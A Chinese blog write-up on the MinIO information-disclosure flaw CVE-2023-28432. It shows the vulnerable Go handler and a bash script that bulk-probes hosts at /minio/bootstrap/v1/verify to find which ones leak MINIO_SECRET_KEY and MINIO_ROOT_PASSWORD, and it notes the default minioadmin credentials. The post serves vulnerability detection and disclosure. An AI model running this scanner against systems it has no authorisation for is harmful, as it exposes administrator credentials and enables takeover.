MinIO信息泄露漏洞(CVE-2023-28432)批量检测POC


吸取上次复现漏洞的教训……

概述

MinIO 是一种开源对象存储服务,与 Amazon S3 API 兼容,可用于私有云或公共云。MinIO是一种高性能、高可用的分布式存储系统,可以存储大量数据,并提供高速的数据读写能力。MinIO采用分布式架构,可以在多个节点上运行,实现数据的分布式存储和处理。 在集群部署的Minio中,未授权的攻击者可发送恶意的HTTP请求来获取Minio环境变量中的敏感信息(MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD),可能导致攻击者以管理员权限登录Minio。

影响范围

漏洞利用的前提是使用分布式部署 RELEASE.2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z

相关漏洞代码

// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
          
   
  ctx := newContext(r, w, "VerifyHandler")
  cfg := getServerSystemCfg()
  logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}
 
// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
          
   
  envs := env.List("MINIO_")
  envValues := make(map[string]string, len(envs))
  for _, envK := range envs {
          
   
    // skip certain environment variables as part
    // of the whitelist and could be configured
    // differently on each nodes, update skipEnvs()
    // map if there are such environment values
    if _, ok := skipEnvs[envK]; ok {
          
   
      continue
    }
    envValues[envK] = env.Get(envK, "")
  }
  return ServerSystemConfig{
          
   
    MinioEndpoints: globalEndpoints,
    MinioEnv:       envValues,
  }
}

VerifyHandler 函数中调用了 getServerSystemCfg() 函数,该函数返回了 ServerSystemConfig 结构体,其中包含了环境变量 MINIO_ 的键值对。由于环境变量是全局可见的,因此会将账号打印出来 。为什么环境变量中会包含账号密码信息呢?因为根据官方的启动说明,在MinIO在启动时会从环境变量中读取用户预设的管理员账号和密码,如果省略则默认账号密码为minioadmin/minioadmin。

POC

批量检测POC,bash脚本,注意赋权

#!/bin/bash
# Author : whgojp
# Enable colors
GREEN=33[0;32m
NC=33[0m

count=0

while read -r line; do
  ((count++))

  response=$(curl -s -XPOST "$line/minio/bootstrap/v1/verify -k" --connect-timeout 3)	#修改一下 这里加了-k 忽略对 SSL 证书验证
  if echo "$response" | grep -q "MinioEnv"; then		#匹配关键词
    printf "${GREEN}[!] ${line}${NC}:is Vulnerable!!!
"
    echo "$line" >> result.txt
  else
    printf "[+] (${count}/$(wc -l < MinIO.txt)) Scanning: ${line}
"
  fi
done < MinIO.txt

当然还有其他版本批量检测POC

检测效果; 手动检测: Burp手动测试的时候记得改POST发包

使用Goby红队版可以直接检测该漏洞

参考

经验分享 程序员 微信小程序 职场和发展